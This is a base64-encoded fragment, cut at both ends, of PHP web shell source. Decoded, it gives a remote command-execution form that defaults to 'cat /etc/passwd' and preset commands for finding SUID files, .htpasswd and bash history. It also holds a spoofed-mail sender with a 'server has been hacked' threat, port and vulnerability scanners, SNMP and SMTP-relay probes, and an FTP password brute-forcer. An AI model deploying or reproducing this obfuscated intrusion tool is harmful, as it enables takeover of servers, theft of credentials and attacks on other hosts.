lcnZlcjwvb3B0aW9uPiI7Cn0KZWxzZXsKJGFsaWFzPSI8b3B0aW9uIHZhbHVlPVwibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlblwiPkRpc3BsYXkgb3BlbiBwb3J0czwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJsYXN0IC1hIC1uIDI1MCAtaVwiPlNob3cgbGFzdCAyNTAgbG9nZ2VkIGluIHVzZXJzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIndoaWNoIHdnZXQgY3VybCBseW54IHczbVwiPkRvd25sb2FkZXJzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImZpbmQgLyAtcGVybSAtMiAtdHlwZSBkIC1wcmludFwiPkZpbmQgd29ybGQtd3JpdGFibGUgZGlyZWN0b3JpZXM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiZmluZCAuIC1wZXJtIC0yIC10eXBlIGQgLXByaW50XCI+RmluZCB3b3JsZC13cml0YWJsZSBkaXJlY3RvcmllcyhpbiBjdXJyZW50IGRpcmVjdG9yeSk8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiZmluZCAvIC1wZXJtIC0yIC10eXBlIGYgLXByaW50XCI+RmluZCB3b3JsZC13cml0YWJsZSBmaWxlczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJmaW5kIC4gLXBlcm0gLTIgLXR5cGUgZiAtcHJpbnRcIj5GaW5kIHdvcmxkLXdyaXRhYmxlIGZpbGVzKGluIGN1cnJlbnQgZGlyZWN0b3J5KTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJmaW5kIC8gLXR5cGUgZiAtcGVybSAwNDAwMCAtbHNcIj5GaW5kIGZpbGVzIHdpdGggU1VJRCBiaXQgc2V0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImZpbmQgLyAtdHlwZSBmIC1wZXJtIDAyMDAwIC1sc1wiPkZpbmQgZmlsZXMgd2l0aCBTR0lEIGJpdCBzZXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiZmluZCAvIC1uYW1lIC5odHBhc3N3ZCAtdHlwZSBmXCI+RmluZCAuaHRwYXNzd2QgZmlsZXM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeVwiPkZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJjYXQgL2V0Yy9zeXNsb2cuY29uZlwiPlZpZXcgc3lzbG9nLmNvbmY8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiY2F0IGNhdCAvZXRjL2hvc3RzXCI+VmlldyBob3N0czwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJwcyBhdXh3XCI+TGlzdCBvZiBwcm9jZXNzZXM8L29wdGlvbj4iOwppZihpc19kaXIoJy9ldGMvdmFsaWFzZXMnKSkkYWxpYXMuPSI8b3B0aW9uIHZhbHVlPVwibHMgLWwgL2V0Yy92YWxpYXNlc1wiPkxpc3Qgb2YgQ3BhbmVsYHMgZG9tYWlucyh2YWxpYXNlcyk8L29wdGlvbj4iO2lmKGlzX2RpcignL2V0Yy92ZG9tYWluYWxpYXNlcycpKSRhbGlhcy49IjxvcHRpb24gdmFsdWU9XCJscyAtbCAvZXRjL3Zkb21haW5hbGlhc2VzXCI+TGlzdCBDcGFuZWxgcyBkb21haW5zKHZkb21haW5hbGlhc2VzKTwvb3B0aW9uPiI7aWYoZmlsZV9leGlzdHMoJy92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nJykpJGFsaWFzLj0iPG9wdGlvbiB2YWx1ZT1cImNhdCAvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZ1wiPkRpc3BsYXkgQ3BhbmVsYHMgbG9nPC9vcHRpb24+IjsKaWYoaXNfZGlyKCcvdmFyL3Nwb29sL21haWwvJykpJGFsaWFzLj0iPG9wdGlvbiB2YWx1ZT1cImxzIC92YXIvc3Bvb2wvbWFpbC9cIj5NYWlsYm94ZXMgbGlzdDwvb3B0aW9uPiI7Cn0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIGJnY29sb3I9XCIjMzMzMzMzXCIgd2lkdGg9XCI2NSVcIj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiPjxiPkxvY2F0aW9uOjwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9d29ya2luZ2RpUiBzaXplPTgyIHZhbHVlPVwiIi5nZXRjd2QoKS4iXCI+PGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9Q2hhbmdlPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48YnI+PHRhYmxlIGJvcmRlcj0wIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiBib3JkZXJjb2xvcj1cIiMyODI4MjhcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIHdpZHRoPVwiNjUlXCI+PHRyPjx0ZD48Yj5XZWIgU2hlbGw6PC9iPjwvdGQ+PC90cj48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48dGV4dGFyZWEgcm93cz1cIjIyXCIgY29scz1cIjc4XCI+IjsKaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2NtZCddKSkgZWNobyBzaGVsTCgkX1JFUVVFU1RbJ2NtZCddKTsKZWNobyI8L3RleHRhcmVhPjwvdGQ+PC90cj48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTkxIG5hbWU9Y21kIHZhbHVlPVwiIjtpZiAoIWVtcHR5KCRfUkVRVUVTVFsnY21kJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoKCRfUkVRVUVTVFsnY21kJ10pKTtlbHNlaWYoISR3aW5kb3dzKSBlY2hvICJjYXQgL2V0Yy9wYXNzd2QiO2VjaG8gIlwiPiRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9RXhlY3V0ZT48L3RkPjwvdHI+PC9mb3JtPjwvdGQ+PC90cj48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PHNlbGVjdCBuYW1lPVwiY21kXCIgd2lkdGg9NzA+JGFsaWFzPC9zZWxlY3Q+JGhjd2Q8aW5wdXQgY2xhc3M9YnV0dG9ucyB0eXBlPXN1Ym1pdCB2YWx1ZT1FeGVjdXRlPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RhYmxlPjxjZW50ZXI+IjsKfQpmdW5jdGlvbiBtYWlsZVIoKXsKZ2xvYmFsICRtc2dib3gsJGV0LCRoY3dkOwokY3dkPSBnZXRjd2QoKTsKaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3N1YmplY3QnXSkmJiFlbXB0eSgkX1JFUVVFU1RbJ2JvZHknXSkmJiFlbXB0eSgkX1JFUVVFU1RbJ2Zyb20nXSkmJiFlbXB0eSgkX1JFUVVFU1RbJ3RvJ10pKXsKJHRvPSRfUkVRVUVTVFsndG8nXTskZnJvbT0kX1JFUVVFU1RbJ2Zyb20nXTskc3ViamVjdD0kX1JFUVVFU1RbJ3N1YmplY3QnXTskYm9keT0kX1JFUVVFU1RbJ2JvZHknXTsKaWYgKCFtYWlsKCR0bywkc3ViamVjdCwkYm9keSwiRnJvbTogJGZyb20iKSlicmVhazsKZWNobyAiJG1zZ2JveDxiPk1haWwgc2VudCE8L2I+PGJyPiRldCI7Cn0KZWNobyAiPGNlbnRlcj48YnI+PHRhYmxlIGJvcmRlcj0wIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiBib3JkZXJjb2xvcj1cIiMyODI4MjhcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIHdpZHRoPVwiNTAlXCI+PHRyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dGQ+PGI+TWFpbGVyOjwvYj48L3RkPjwvdHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj5TTVRQPC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj4iLmluaV9nZXQoJ1NNVFAnKS4iICgiLmluaV9nZXQoJ3NtdHBfcG9ydCcpLiIpPC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj5Gcm9tOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IG5hbWU9ZnJvbSB0eXBlPXRleHQgdmFsdWU9XCJldmlsQGhlbGwuZ292XCIgc2l6ZT01NT4kaGN3ZDwvdGQ+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+VG86PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48aW5wdXQgbmFtZT10byB0eXBlPXRleHQgdmFsdWU9XCIiOyBpZiAoIWVtcHR5KCRfUkVRVUVTVFsndG8nXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1JFUVVFU1RbJ3RvJ10pOyBlbHNlaWYoIWVtcHR5KCRfRU5WWyJTRVJWRVJfQURNSU4iXSkpIGVjaG8gJF9FTlZbIlNFUlZFUl9BRE1JTiJdO2Vsc2UgZWNobyAiYWRtaW5AIi5nZXRlbnYoJ0hUVFBfSE9TVCcpOyBlY2hvICJcIiBzaXplPTU1PjwvdGQ+PC90cj48dHI+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+U3ViamVjdDo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiPjxpbnB1dCBuYW1lPXN1YmplY3QgdHlwZT10ZXh0IHZhbHVlPVwiWU9VUiBTRVJWRVIgSEFTIEJFRUQgSEFDS0VEIDotUFwiIHNpemU9NTU+PC90ZD48dHI+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+Qm9keTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjx0ZXh0YXJlYSByb3dzPVwiMThcIiBjb2xzPVwiNDNcIiBuYW1lPWJvZHk+QWRtaW4sIHlvdXIgc3lzdGVtIGhhcyBiZWVuIGhhY2tlZCEgaWYgeW91IGRvbmB0IHNlQ3VyZSBpdCwgbmV4dCB0aW1lIGlgbGwgZm9ybWF0IHlvdXIgYm94LjwvdGV4dGFyZWE+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxMCVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCIgYWxpZ249XCJyaWdodFwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz1idXR0b25zIHZhbHVlPVNlbmQ+PC9mb3JtPiRldCI7Cn0KZnVuY3Rpb24gc2Nhbm5lUigpewpnbG9iYWwgJGhjd2Q7CmlmICghZW1wdHkoJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pKSAkaG9zdD0kX1NFUlZFUlsiU0VSVkVSX0FERFIiXTtlbHNlICRob3N0ID0iMTI3LjAuMC4xIjsKJHVkcD0oZW1wdHkoJF9SRVFVRVNUWyd1ZHAnXSkpPzA6MTskdGNwPShlbXB0eSgkX1JFUVVFU1RbJ3RjcCddKSk/MDoxOwppZiAoKCR1ZHB8fCR0Y3ApICYmICFlbXB0eSgkX1JFUVVFU1RbJ3RhcmdldCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydmcm9tcG9ydCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWyd0b3BvcnQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndGltZW91dCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydwb3J0c2Nhbm5lciddKSl7CiR0YXJnZXQ9JF9SRVFVRVNUWyd0YXJnZXQnXTskZnJvbT0oaW50KSAkX1JFUVVFU1RbJ2Zyb21wb3J0J107JHRvPShpbnQpJF9SRVFVRVNUWyd0b3BvcnQnXTskdGltZW91dD0oaW50KSRfUkVRVUVTVFsndGltZW91dCddOyRudSA9IDA7CmVjaG8gIjxmb250IGNvbG9yPWJsdWU+UG9ydCBzY2FubmluZyBzdGFydGVkIGFnYWluc3QgIi5odG1sc3BlY2lhbGNoYXJzKCR0YXJnZXQpLiI6PGJyPiI7CiRzdGFydD10aW1lKCk7CmZvcigkaT0kZnJvbTskaTw9JHRvOyRpKyspewppZigkdGNwKXsKaWYgKGNoZWNrdGhpc3BvclQoJHRhcmdldCwkaSwkdGltZW91dCkpewokbnUrKzsKJHNlcj0iIjsKaWYoZ2V0c2VydmJ5cG9ydCgkaSwidGNwIikpJHNlcj0iKCIuZ2V0c2VydmJ5cG9ydCgkaSwidGNwIikuIikiOwplY2hvICIkbnUpICRpICRzZXIgKDxhIGhyZWY9XCJ0ZWxuZXQ6Ly8kdGFyZ2V0OiRpXCI+Q29ubmVjdDwvYT4pIFtUQ1BdPGJyPiI7Cn0KfQppZigkdWRwKWlmKGNoZWNrdGhpc3BvclQoJHRhcmdldCwkaSwkdGltZW91dCwxKSl7JG51Kys7JHNlcj0iIjtpZihnZXRzZXJ2Ynlwb3J0KCRpLCJ1ZHAiKSkkc2VyPSIoIi5nZXRzZXJ2Ynlwb3J0KCRpLCJ1ZHAiKS4iKSI7ZWNobyAiJG51KSAkaSAkc2VyIFtVRFBdPGJyPiI7fQpmbHVzaGVSKCk7Cn0KJHRpbWU9dGltZSgpLSRzdGFydDsKZWNobyAiRG9uZSEgKCR0aW1lIHNlY29uZHMpPC9mb250PiI7Cn0KZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydzZWN1cml0eXNjYW5uZXInXSkpewplY2hvICI8Zm9udCBjb2xvcj1ibHVlPiI7CiRzdGFydD10aW1lKCk7CiRmcm9tPSRfUkVRVUVTVFsnZnJvbSddOwokdG89KGludCkkX1JFUVVFU1RbJ3RvJ107CiR0aW1lb3V0PShpbnQpJF9SRVFVRVNUWyd0aW1lb3V0J107CiRmID0gc3Vic3RyKCRmcm9tLHN0cnJwb3MoJGZyb20sIi4iKSsxKTsKJGZyb20gPSBzdWJzdHIoJGZyb20sMCxzdHJycG9zKCRmcm9tLCIuIikpOwppZighZW1wdHkoJF9SRVFVRVNUWydodHRwc2Nhbm5lciddKSl7CmVjaG8gIkxvYWRpbmcgd2Vic2VydmVyIGJ1ZyBsaXN0Li4uIjsKZmx1c2hlUigpOwokYnVnbGlzdD13aGVyZWlzdG1QKCkuRElSRUNUT1JZX1NFUEFSQVRPUi5uYW1FKCk7CiRkbD1AZG93bmxvYWRpVCgnaHR0cDovL3d3dy5jaXJ0Lm5ldC9uaWt0by9VUERBVEVTLzEuMzYvc2Nhbl9kYXRhYmFzZS5kYicsJGJ1Z2xpc3QpOwppZigkZGwpeyRmaWxlPWZpbGUoJGJ1Z2xpc3QpO2VjaG8gIkRvbmUhIHNjYW5uaW5nIHN0YXJ0ZWQuPGJyPjxicj4iO31lbHNlIGVjaG8gIkZhaWxlZCEhISBzY2FubmluZyBzdGFydGVkIHdpdGhvdXQgd2Vic2VydmVyIHNlY3VyaXR5IHRlc3RpbmcuLi48YnI+PGJyPiI7CmZsdXNoZVIoKTsKfWVsc2UgeyRmcj1odG1sc3BlY2lhbGNoYXJzKCRmcm9tKTsgZWNobyAiU2Nhbm5pbmcgJGZyLiRmLSRmci4kdG86PGJyPjxicj4iO30KZm9yKCRpPSRmOyRpPD0kdG87JGkrKyl7CiRvdXRwdXQ9MDsKJGlwPSIkZnJvbS4kaSI7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ25zbG9va3VwJ10pKXsKJGhuPWdldGhvc3RieWFkZHIoJGlwKTsKaWYoJGhuIT0kaXApZWNobyAiJGlwIFskaG5dPGJyPiI7fQpmbHVzaGVSKCk7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2lwc2Nhbm5lciddKSl7CiRwb3J0PSRfUkVRVUVTVFsncG9ydCddOwppZihzdHJzdHIoJHBvcnQsIiwiKSkkcD1leHBsb2RlKCIsIiwkcG9ydCk7ZWxzZSAkcFswXT0kcG9ydDsKJG9wZW49JHNlcj0iIjsKZm9yZWFjaCgkcCBhcyAkcG8pewokc2Nhbj1jaGVja3RoaXNwb3JUKCRpcCwkcG8sJHRpbWVvdXQpOwppZiAoJHNjYW4pewokc2VyPSIiOwppZigkc2VyPWdldHNlcnZieXBvcnQoJHBvLCJ0Y3AiKSkkc2VyPSIoJHNlcikiOwokb3Blbi49IiAkcG8kc2VyICI7Cn0KfQppZigkb3Blbil7ZWNobyAiJGlwKSBPcGVuIHBvcnRzOiRvcGVuPGJyPiI7JG91dHB1dD0xO30KZmx1c2hlUigpOwp9CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2h0dHBiYW5uZXInXSkpewokcmVzPWdldF9zd19uYW1FKCRpcCwkdGltZW91dCk7CmlmKCRyZXMpewplY2hvICIkaXApIFdlYnNlcnZlciBzb2Z0d2FyZTogIjsKaWYoJHJlcz09LTEpZWNobyAiVW5rbm93IjsKZWxzZSBlY2hvICRyZXM7CmVjaG8gIjxicj4iOwokb3V0cHV0PTE7Cn0KZmx1c2hlUigpOwp9CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2h0dHBzY2FubmVyJ10pKXsKaWYoY2hlY2t0aGlzcG9yVCgkaXAsODAsJHRpbWVvdXQpICYmICFlbXB0eSgkZmlsZSkpewokYWRtaW49YXJyYXkoJy9hZG1pbi8nLCcvYWRtLycpOwokdXNlcnM9YXJyYXkoJ2FkbScsJ2JpbicsJ2RhZW1vbicsJ2Z0cCcsJ2d1ZXN0JywnbGlzdGVuJywnbHAnLCdteXNxbCcsJ25vYWNjZXNzJywnbm9ib2R5Jywnbm9ib2R5NCcsJ251dWNwJywnb3BlcmF0b3InLCdyb290Jywnc21tc3AnLCdzbXRwJywnc3NoZCcsJ3N5cycsJ3Rlc3QnLCd1bmtub3duJywndXVjcCcsJ3dlYicsJ3d3dycpOwokbnVrZT1hcnJheSgnLycsJy9wb3N0bnVrZS8nLCcvcG9zdG51a2UvaHRtbC8nLCcvbW9kdWxlcy8nLCcvcGhwQkIvJywnL2ZvcnVtLycpOwokY2dpPWFycmF5KCcvY2dpLmNnaS8nLCcvd2ViY2dpLycsJy9jZ2ktOTE0LycsJy9jZ2ktOTE1LycsJy9iaW4vJywnL2NnaS8nLCcvbXBjZ2kvJywnL2NnaS1iaW4vJywnL293cy1iaW4vJywnL2NnaS1zeXMvJywnL2NnaS1sb2NhbC8nLCcvaHRiaW4vJywnL2NnaWJpbi8nLCcvY2dpcy8nLCcvc2NyaXB0cy8nLCcvY2dpLXdpbi8nLCcvZmNnaS1iaW4vJywnL2NnaS1leGUvJywnL2NnaS1ob21lLycsJy9jZ2ktcGVybC8nKTsKZm9yZWFjaCAoJGZpbGUgYXMgJHYpewokdnVsbj1hcnJheSgpOwokdj10cmltKCR2KTsKaWYoISR2IHx8ICR2ezB9PT0nIycpY29udGludWU7CiR2PXN0cl9yZXBsYWNlKCciLCInLCdeJywkdik7CiR2PXN0cl9yZXBsYWNlKCciJywnJywkdik7CiR2dWxuPWV4cGxvZGUoJ14nLCR2KTsKJHBhZ2U9JGNxaWNoPSRudWtlY2g9JGFkbWluY2g9JHVzZXJjaD0kdnVsblsxXTsKaWYoc3Ryc3RyKCRwYWdlLCdAQ0dJRElSUycpKQpmb3JlYWNoKCRjZ2kgYXMgJGNnKXsKJGNxaWNoPXN0cl9yZXBsYWNlKCdAQ0dJRElSUycsJGNnLCRwYWdlKTsKJHVybD0iaHR0cDovLyRpcCRjcWljaCI7CiRyZXM9Y2hlY2tfdXJMKCR1cmwsJHZ1bG5bM10sJHZ1bG5bMl0sJHRpbWVvdXQpOwppZigkcmVzKXskb3V0cHV0PTE7ZWNobyAiJGlwKSIuJHZ1bG5bNF0uIiA8YSBocmVmPVwiJHVybFwiIHRhcmdldD1cIl9ibGFua1wiPiR1cmw8L2E+PGJyPiI7fQpmbHVzaGVSKCk7Cn0KZWxzZWlmKHN0cnN0cigkcGFnZSwnQEFETUlORElSUycpKQpmb3JlYWNoICgkYWRtaW4gYXMgJGNnKXsKJGFkbWluY2g9c3RyX3JlcGxhY2UoJ0BBRE1JTkRJUlMnLCRjZywkcGFnZSk7CiR1cmw9Imh0dHA6Ly8kaXAkYWRtaW5jaCI7CiRyZXM9Y2hlY2tfdXJMKCR1cmwsJHZ1bG5bM10sJHZ1bG5bMl0sJHRpbWVvdXQpOwppZigkcmVzKXskb3V0cHV0PTE7ZWNobyAiJGlwKSIuJHZ1bG5bNF0uIiA8YSBocmVmPVwiJHVybFwiIHRhcmdldD1cIl9ibGFua1wiPiR1cmw8L2E+PGJyPiI7fQpmbHVzaGVSKCk7Cn0KZWxzZWlmKHN0cnN0cigkcGFnZSwnQFVTRVJTJykpCmZvcmVhY2ggKCR1c2VycyBhcyAkY2cpewokdXNlcmNoPXN0cl9yZXBsYWNlKCdAVVNFUlMnLCRjZywkcGFnZSk7CiR1cmw9Imh0dHA6Ly8kaXAkdXNlcmNoIjsKJHJlcz1jaGVja191ckwoJHVybCwkdnVsblszXSwkdnVsblsyXSwkdGltZW91dCk7CmlmKCRyZXMpeyRvdXRwdXQ9MTtlY2hvICIkaXApIi4kdnVsbls0XS4iIDxhIGhyZWY9XCIkdXJsXCIgdGFyZ2V0PVwiX2JsYW5rXCI+JHVybDwvYT48YnI+Ijt9CmZsdXNoZVIoKTsKfQplbHNlaWYoc3Ryc3RyKCRwYWdlLCdATlVLRScpKQpmb3JlYWNoICgkbnVrZSBhcyAkY2cpewokbnVrZWNoPXN0cl9yZXBsYWNlKCdATlVLRScsJGNnLCRwYWdlKTsKJHVybD0iaHR0cDovLyRpcCRudWtlY2giOwokcmVzPWNoZWNrX3VyTCgkdXJsLCR2dWxuWzNdLCR2dWxuWzJdLCR0aW1lb3V0KTsKaWYoJHJlcyl7JG91dHB1dD0xO2VjaG8gIiRpcCkiLiR2dWxuWzRdLiIgPGEgaHJlZj1cIiR1cmxcIiB0YXJnZXQ9XCJfYmxhbmtcIj4kdXJsPC9hPjxicj4iO30KZmx1c2hlUigpOwp9CmVsc2V7CiR1cmw9Imh0dHA6Ly8kaXAkcGFnZSI7CiRyZXM9Y2hlY2tfdXJMKCR1cmwsJHZ1bG5bM10sJHZ1bG5bMl0sJHRpbWVvdXQpOwppZigkcmVzKXskb3V0cHV0PTE7ZWNobyAiJGlwKSIuJHZ1bG5bNF0uIiA8YSBocmVmPVwiJHVybFwiIHRhcmdldD1cIl9ibGFua1wiPiR1cmw8L2E+PGJyPiI7fQpmbHVzaGVSKCk7Cn0KfQp9Cn0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnc210cHJlbGF5J10pKXsKaWYoY2hlY2t0aGlzcG9yVCgkaXAsMjUsJHRpbWVvdXQpKXsKJHJlcz0nJzsKJHJlcz1jaGVja3NtdFAoJGlwLCR0aW1lb3V0KTsKaWYoJHJlcz09MSl7ZWNobyAiJGlwKSBTTVRQIHJlbGF5IGZvdW5kLjxicj4iOyRvdXRwdXQ9MTt9Zmx1c2hlUigpOwp9Cn0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnc25tcHNjYW5uZXInXSkpewppZihjaGVja3RoaXNwb3JUKCRpcCwxNjEsJHRpbWVvdXQsMSkpewokY29tPSRfUkVRVUVTVFsnY29tJ107CiRjb21zPSRyZXM9IiI7CmlmKHN0cnN0cigkY29tLCIsIikpJGM9ZXhwbG9kZSgiLCIsJGNvbSk7ZWxzZSAkY1swXT0kY29tOwpmb3JlYWNoICgkYyBhcyAkdil7CiRyZXQ9c25tcGNoZWNLKCRpcCwkdiwkdGltZW91dCk7CmlmKCRyZXQpJGNvbXMgLj0iICR2ICI7Cn0KaWYgKCRjb21zIT0iIil7ZWNobyAiJGlwKSBTTk1QIEZPVU5EOiAkY29tczxicj4iOyRvdXRwdXQ9MTt9CmZsdXNoZVIoKTsKfQp9CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2Z0cHNjYW5uZXInXSkpewppZihjaGVja3RoaXNwb3JUKCRpcCwyMSwkdGltZW91dCkpewokdXNwcz1leHBsb2RlKCcsJywkX1JFUVVFU1RbJ3VzZXJwYXNzJ10pOwpmb3JlYWNoICgkdXNwcyBhcyAkdil7CiR1c2VyPXN1YnN0cigkdiwwLHN0cnBvcygkdiwnOicpKTsKJHBhc3M9c3Vic3RyKCR2LHN0cnBvcygkdiwnOicpKzEpOwppZigkcGFzcz09J1tCTEFOS10nKSRwYXNzPScnOwokZnRwPUBmdHBfY29ubmVjdCgkaXAsMjEsJHRpbWVvdXQpOwppZiAoJGZ0cCl7CmlmKEBmdHBfbG9naW4oJGZ0cCwkdXNlciwkcGFzcykpeyRvdXRwdXQ9MTtlY2hvICIkaXApIEZUUCBGT1VORDogKCR1c2VyOiRwYXNzKSA8YSBocmVmPVwiZnRwOi8vJGlwXCIgdGFyZ2V0PVwiX2JsYW5rXCI+JGlwPC9hPiBTeXN0ZW0gdHlwZTogIi5mdHBfc3lzdHlwZSgkZnRwKS4iPGJyPiI7fQp9CmZsdXNoZVIoKTsKfQp9Cn0KaWYoJG91dHB1dCllY2hvICI8aHIgc2l6ZT0xIG5vc2hhZGU+IjsKZmx1c2hlUigpOwp9CiR0aW1lPXRpbWUoKS0kc3RhcnQ7CmVjaG8gIkRvbmUhICgkdGltZSBzZWNvbmRzKTwvZm9udD4iOwppZighZW1wdHkoJGJ1Z2xpc3QpKXVubGluaygkYnVnbGlzdCk7Cn0KZWxzZXsKJGNoYm94PShleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykpPyI8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXRjcCB2YWx1ZT0xIGNoZWNrZWQ+VENQPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11ZHAgdmFsdWU9MSBjaGVja2VkPlVEUCI6IjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRjcCB2YWx1ZT0xPiI7CmVjaG8gIjxjZW50ZXI+PGJyPjx0YWJsZSBib3JkZXI9MCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgc3R5bGU9XCJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlXCIgYm9yZGVyY29sb3I9XCIjMjgyODI4XCIgYmdjb2xvcj1cIiMzMzMzMzNcIiB3aWR0aD1cIjUwJVwiPjx0cj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRkPlBvcnQgc2Nhbm5lcjo8L3RkPjwvdHI+PHRkIHdpZHRoPVwiMjUlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5UYXJnZXQ6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIiB3aWR0aD04MCU+PGlucHV0IG5hbWU9dGFyZ2V0IHZhbHVlPSRob3N0IHNpemU9NDA+PC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIiB3aWR0aD0yNSU+RnJvbTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiIHdpZHRoPTI1JT48aW5wdXQgbmFtZT1mcm9tcG9ydCB0eXBlPXRleHQgdmFsdWU9XCIxXCIgc2l6ZT01PjwvdGQ+PC90cj48dHI+PHRkIGJnY29sb3I9XCIjODA4MDgwXCIgd2lkdGg9MjUlPlRvOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCIgd2lkdGg9MjUlPjxpbnB1dCBuYW1lPXRvcG9ydCB0eXBlPXRleHQgdmFsdWU9XCIxMDI0XCIgc2l6ZT01PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjUlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj5UaW1lb3V0OjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IG5hbWU9dGltZW91dCB0eXBlPXRleHQgdmFsdWU9XCIyXCIgc2l6ZT01PjwvdGQ+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjODA4MDgwXCI+JGNoYm94PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIiBhbGlnbj1cInJpZ2h0XCI+JGhjd2Q8aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9YnV0dG9ucyBuYW1lPXBvcnRzY2FubmVyIHZhbHVlPVNjYW4+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPiI7CiRob3N0ID0gc3Vic3RyKCRob3N0LDAsc3RycnBvcygkaG9zdCwiLiIpKTsKZWNobyAiPGJyPjx0YWJsZSBib3JkZXI9MCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgc3R5bGU9XCJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlXCIgYm9yZGVyY29sb3I9XCIjMjgyODI4XCIgYmdjb2xvcj1cIiMzMzMzMzNcIiB3aWR0aD1cIjUwJVwiPjx0cj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgbmFtZT1zZWN1cml0eT48dGQ+c2VjdXJpdHkgc2Nhbm5lcjo8